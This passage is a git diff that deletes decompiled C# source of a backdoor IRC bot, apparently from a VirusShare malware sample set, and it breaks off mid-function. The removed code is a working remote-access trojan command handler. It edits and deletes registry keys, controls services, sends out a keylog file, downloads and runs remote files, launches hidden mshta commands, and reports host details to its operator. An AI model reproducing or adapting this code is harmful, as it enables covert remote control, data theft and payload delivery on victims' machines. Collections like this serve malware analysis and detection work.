-// Type: n.Delegates.T.T
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Windows.Forms;
-
-namespace n.Delegates.T
-{
- [StandardModule]
- public sealed class T
- {
- public static void appendText(ref Form Frm, ref byte[] D)
- {
- if (Frm == null || Frm.IsDisposed)
- return;
- if (Frm.InvokeRequired)
- {
- n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText);
- Frm.Invoke((Delegate) method, (object) Frm, (object) D);
- }
- else
- IND.ind(D);
- }
-
- private delegate void DELappendText(ref Form Frm, ref byte[] D);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs
deleted file mode 100644
index c0c710e8..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs
+++ /dev/null
@@ -1,2404 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.IND
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.Devices;
-using Microsoft.Win32;
-using n.My;
-using System;
-using System.Diagnostics;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net.Sockets;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.ServiceProcess;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- internal sealed class IND
- {
- public static string TM = Interaction.Environ("temp") + "\\";
- public static string Y = "^:^";
- private static int ER;
- public static int LPING;
- public static chat Ca = new chat();
- private const int MOUSEEVENTF_ABSOLUTE = 32768;
- private const int MOUSEEVENTF_LEFTDOWN = 2;
- private const int MOUSEEVENTF_LEFTUP = 4;
- private const int MOUSEEVENTF_MOVE = 1;
- private const int MOUSEEVENTF_MIDDLEDOWN = 32;
- private const int MOUSEEVENTF_MIDDLEUP = 64;
- private const int MOUSEEVENTF_RIGHTDOWN = 8;
- private const int MOUSEEVENTF_RIGHTUP = 16;
- private static string pk;
-
- public static void inddd(string T)
- {
- RichTextBox t1 = B.Chat.T1;
- t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n";
- }
-
- public static RegistryKey Rk(ref string p, ref bool W)
- {
- Array Instance = (Array) Strings.Split(p, "\\");
- object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null);
- RegistryKey registryKey;
- if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false))
- registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false))
- registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false))
- registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false))
- registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false))
- registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- return registryKey;
- }
-
- public static void ind(byte[] Da)
- {
- IND.ER = 0;
- string str1 = Encoding.UTF8.GetString(Da);
- int num1;
- try
- {
- Array Instance1 = (Array) Strings.Split(str1, IND.Y);
- string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 0
- }, (string[]) null).ToString();
- int num2;
- if (Operators.CompareString(Left1, "#KON", false) == 0)
- {
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "T", false))
- B.KON = true;
- else
- B.KON = false;
- }
- else if (Operators.CompareString(Left1, "#RG", false) == 0)
- {
- IND.ER = 1;
- object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false))
- {
- Array Instance2 = Instance1;
- object[] objArray1 = new object[1];
- object[] objArray2 = objArray1;
- int num3 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num3;
- objArray2[0] = (object) local1;
- object[] Arguments = objArray1;
- string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
- ref string local2 = ref str2;
- bool flag = false;
- ref bool local3 = ref flag;
- RegistryKey registryKey1 = IND.Rk(ref local2, ref local3);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num3,
- (object) str2
- }, (string[]) null, true, false);
- RegistryKey registryKey2 = registryKey1;
- string Right;
- string s;
- foreach (string subKeyName in registryKey2.GetSubKeyNames())
- {
- string str3 = Right;
- s = subKeyName + IND.Y + IND.Y + "Key";
- string str4 = API.ENB(ref s);
- string y = IND.Y;
- Right = str3 + str4 + y;
- }
- foreach (string valueName in registryKey2.GetValueNames())
- {
- string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString();
- if (str5.Length > 200)
- str5 = Strings.Mid(str5, 1, 200);
- string str6 = Right;
- s = valueName + IND.Y + str5 + IND.Y + "Value";
- string str7 = API.ENB(ref s);
- string y = IND.Y;
- Right = str6 + str7 + y;
- }
- B b = MyProject.Forms.B;
- s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)), (object) IND.Y), (object) Right));
- ref string local4 = ref s;
- b.SEND(ref local4);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false))
- {
- Array Instance3 = Instance1;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num4 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local5 = (ValueType) num4;
- objArray4[0] = (object) local5;
- object[] Arguments = objArray3;
- string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null));
- ref string local6 = ref str8;
- bool flag = true;
- ref bool local7 = ref flag;
- RegistryKey registryKey = IND.Rk(ref local6, ref local7);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num4,
- (object) str8
- }, (string[]) null, true, false);
- registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 4
- }, (string[]) null)));
- }
- else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false))
- {
- Array Instance4 = Instance1;
- object[] objArray5 = new object[1];
- object[] objArray6 = objArray5;
- int num5 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local8 = (ValueType) num5;
- objArray6[0] = (object) local8;
- object[] Arguments = objArray5;
- string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null));
- ref string local9 = ref str9;
- bool flag = true;
- ref bool local10 = ref flag;
- RegistryKey registryKey3 = IND.Rk(ref local9, ref local10);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num5,
- (object) str9
- }, (string[]) null, true, false);
- RegistryKey registryKey4 = registryKey3;
- int num6 = Instance1.Length - 1;
- for (int index = 3; index <= num6; ++index)
- {
- Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)), "\\");
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "Key", false))
- registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 0
- }, (string[]) null)));
- else
- registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 0
- }, (string[]) null)));
- }
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false))
- return;
- Array Instance6 = Instance1;
- object[] objArray7 = new object[1];
- object[] objArray8 = objArray7;
- int num7 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local11 = (ValueType) num7;
- objArray8[0] = (object) local11;
- object[] Arguments = objArray7;
- string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null));
- ref string local12 = ref str10;
- bool flag = true;
- ref bool local13 = ref flag;
- RegistryKey registryKey = IND.Rk(ref local12, ref local13);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num7,
- (object) str10
- }, (string[]) null, true, false);
- registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)));
- }
- }
- else if (Operators.CompareString(Left1, "#k", false) == 0)
- {
- IND.ER = 1;
- if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L)
- {
- B b = MyProject.Forms.B;
- string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename);
- ref string local = ref str11;
- b.SEND(ref local);
- }
- else
- {
- B b = MyProject.Forms.B;
- string str12 = "#k" + IND.Y + "..";
- ref string local = ref str12;
- b.SEND(ref local);
- }
- }
- else if (Operators.CompareString(Left1, "#X", false) == 0)
- {
- IND.ER = 0;
- int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length;
- MemoryStream memoryStream = new MemoryStream();
- int num9 = num8;
- int num10 = Da.Length - 1;
- for (int index = num9; index <= num10; ++index)
- memoryStream.WriteByte(Da[index]);
- byte[] array = memoryStream.ToArray();
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(array, ref local);
- int num11 = 0;
- do
- {
- if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)))))
- {
- try
- {
- File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))));
- File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))), bytes);
- NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
- {
- Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- break;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num11;
- }
- else
- {
- File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))), bytes);
- NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
- {
- Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- break;
- }
- }
- while (num11 <= 999);
- }
- else if (Operators.CompareString(Left1, "##", false) == 0)
- {
- IND.ER = 5;
- MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- B b = MyProject.Forms.B;
- string str13 = "plugin";
- ref string local = ref str13;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#Rec", false) == 0)
- {
- B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null));
- MyProject.Forms.B.Dis();
- }
- else if (Operators.CompareString(Left1, "#ser0", false) == 0)
- {
- IND.ER = 1;
- string str14;
- string s;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- string str15 = str14;
- string y = IND.Y;
- s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName;
- string str16 = API.ENB(ref s);
- str14 = str15 + y + str16;
- }
- B b = MyProject.Forms.B;
- s = "#ser0" + str14;
- ref string local = ref s;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#ser1", false) == 0)
- {
- IND.ER = 1;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), false))
- service.Start();
- }
- }
- else if (Operators.CompareString(Left1, "#ser2", false) == 0)
- {
- IND.ER = 1;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), false))
- service.Stop();
- }
- }
- else if (Operators.CompareString(Left1, "#R", false) == 0)
- {
- IND.ER = 0;
- B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null));
- B b = MyProject.Forms.B;
- string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- ref string local = ref str17;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "ping", false) == 0)
- {
- B b = MyProject.Forms.B;
- string str18 = "pong";
- ref string local = ref str18;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#0", false) == 0)
- {
- IND.ER = 0;
- B b1 = MyProject.Forms.B;
- string str19 = "#red";
- ref string local14 = ref str19;
- b1.SEND(ref local14);
- Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0)));
- Array Instance7 = Instance1;
- object[] objArray9 = new object[1];
- object[] objArray10 = objArray9;
- int num12 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local15 = (ValueType) num12;
- objArray10[0] = (object) local15;
- object[] Arguments = objArray9;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num12,
- (object) s
- }, (string[]) null, true, false);
- string y = IND.Y;
- IND.Du((Array) Strings.Split(Expression, y));
- do
- {
- num1 = 0;
- Thread.Sleep(5);
- }
- while (thread.IsAlive);
- B b2 = MyProject.Forms.B;
- string str20 = "#Bla";
- ref string local16 = ref str20;
- b2.SEND(ref local16);
- }
- else if (Operators.CompareString(Left1, "#1", false) == 0)
- {
- B b3 = MyProject.Forms.B;
- string str21 = "#red";
- ref string local17 = ref str21;
- b3.SEND(ref local17);
- IND.ER = 0;
- Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0)));
- Array Instance8 = Instance1;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num13 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local18 = (ValueType) num13;
- objArray12[0] = (object) local18;
- object[] Arguments = objArray11;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num13,
- (object) s
- }, (string[]) null, true, false);
- string y = IND.Y;
- IND.DT((Array) Strings.Split(Expression, y));
- do
- {
- num1 = 1;
- Thread.Sleep(5);
- }
- while (thread.IsAlive);
- B b4 = MyProject.Forms.B;
- string str22 = "#Bla";
- ref string local19 = ref str22;
- b4.SEND(ref local19);
- }
- else if (Operators.CompareString(Left1, "#2", false) == 0)
- {
- IND.ER = 0;
- string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)), ".").Length - 1];
- int num14 = 0;
- while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23))
- {
- try
- {
- File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23);
- int num15;
- ++num15;
- if (num15 > 5)
- return;
- continue;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num14;
- if (num14 > 9999)
- return;
- }
- string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23;
- Network network = MyProject.Computer.Network;
- object[] objArray13 = new object[2];
- object[] objArray14 = objArray13;
- Array Instance9 = Instance1;
- object[] objArray15 = new object[1];
- object[] objArray16 = objArray15;
- int num16 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num16;
- objArray16[0] = (object) local;
- object[] Arguments1 = objArray15;
- object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null));
- objArray14[0] = objectValue;
- objArray13[1] = (object) fileName;
- object[] objArray17 = objArray13;
- object[] Arguments2 = objArray17;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num16,
- RuntimeHelpers.GetObjectValue(objArray17[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string));
- Process.Start(fileName);
- }
- else if (Operators.CompareString(Left1, "#3", false) == 0)
- {
- IND.ER = 0;
- MemoryStream memoryStream = new MemoryStream();
- byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y);
- memoryStream.Write(bytes1, 0, bytes1.Length);
- Encoding encoding = Encoding.Default;
- ref byte[] local20 = ref C.Plug;
- string str24 = "plugin.C";
- ref string local21 = ref str24;
- string str25 = "Pass";
- ref string local22 = ref str25;
- object obj = (object) null;
- ref object local23 = ref obj;
- string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23));
- string s2 = API.ENB(ref s1);
- byte[] bytes2 = encoding.GetBytes(s2);
- bool flag = true;
- ref bool local24 = ref flag;
- byte[] buffer = API.ZIP(bytes2, ref local24);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- else if (Operators.CompareString(Left1, "#4", false) == 0)
- {
- if (B.Rec)
- ProjectData.EndApp();
- IND.ER = 0;
- try
- {
- MyProject.Forms.B.BW.B.Dispose();
- A.fj.Dispose();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "!", false))
- {
- try
- {
- MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.Nkey.DeleteValue("vname");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.Nkey.DeleteValue("FL");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- if (drive.TotalFreeSpace > 0L)
- {
- try
- {
- if (File.Exists(drive.Name + B.Uo))
- File.Delete(drive.Name + B.Uo);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- foreach (Process process in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- string path = Application.StartupPath + "\\j.vbs";
- string w = n.My.Resources.Resources.W;
- string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath);
- File.WriteAllText(path, contents);
- Process.Start(Application.StartupPath + "\\j.vbs");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#5", false) == 0)
- {
- IND.ER = 0;
- Process process = Process.Start(new ProcessStartInfo()
- {
- FileName = "mshta.exe",
- Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)),
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- Thread.Sleep(60000);
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.CompareString(Left1, "#6", false) == 0)
- {
- IND.ER = 0;
- try
- {
- MyProject.Forms.B.BW.B.Dispose();
- if (A.fj.Id > 1)
- A.fj.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- Process.Start(Application.ExecutablePath);
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#7", false) == 0)
- {
- IND.ER = 2;
- Array Instance10 = Instance1;
- object[] objArray18 = new object[1];
- object[] objArray19 = objArray18;
- int num17 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local25 = (ValueType) num17;
- objArray19[0] = (object) local25;
- object[] Arguments = objArray18;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null));
- byte[] numArray = sc.gc(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num17,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- if (buffer.Length == 0)
- {
- B b = MyProject.Forms.B;
- string str26 = "#5" + IND.Y + Conversions.ToString(0);
- ref string local26 = ref str26;
- b.SEND(ref local26);
- }
- else
- {
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- }
- else if (Operators.CompareString(Left1, "#8", false) == 0)
- {
- string Right = "\r\n";
- string str27;
- string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No");
- B b = MyProject.Forms.B;
- string str28 = "#7" + IND.Y + API.ENB(ref s);
- ref string local = ref str28;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#9", false) == 0)
- {
- IND.ER = 1;
- string str29;
- string s;
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- string str30 = str29;
- string y = IND.Y;
- s = drive.Name;
- string str31 = API.ENB(ref s);
- str29 = str30 + y + str31;
- }
- }
- B b = MyProject.Forms.B;
- string[] strArray1 = new string[8];
- strArray1[0] = "#8";
- strArray1[1] = str29;
- strArray1[2] = IND.Y;
- string[] strArray2 = strArray1;
- string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop;
- string str32 = API.ENB(ref desktop);
- strArray2[3] = str32;
- strArray1[4] = IND.Y;
- string[] strArray3 = strArray1;
- string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
- string str33 = API.ENB(ref myDocuments);
- strArray3[5] = str33;
- strArray1[6] = IND.Y;
- string[] strArray4 = strArray1;
- s = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
- string str34 = API.ENB(ref s);
- strArray4[7] = str34;
- string str35 = string.Concat(strArray1);
- ref string local = ref str35;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#10", false) == 0)
- {
- IND.ER = 1;
- Array Instance11 = Instance1;
- object[] objArray20 = new object[1];
- object[] objArray21 = objArray20;
- int num18 = 1;
